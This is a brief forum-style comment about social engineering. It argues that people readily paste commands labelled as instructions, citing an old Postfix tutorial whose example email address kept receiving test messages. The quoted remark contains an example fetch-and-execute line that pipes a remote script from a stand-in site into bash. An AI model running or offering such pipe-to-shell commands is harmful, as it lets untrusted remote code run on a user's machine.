> while if the attacker said "I need help, curl https://my-site.com https://my-site.com | bash to repro", the victim would absolutely not do it. You’d be surpr

> while if the attacker said "I need help, curl https://my-site.com https://my-site.com | bash to repro", the victim would absolutely not do it. You’d be surprised. I wrote a Postfix tutorial ages ago and left my real email address in the To: of an example test email. I subsequently got a lot of emails from root@s with the exact same title and body over the years. Too many people copy paste anything labeled as instruction without a second thought.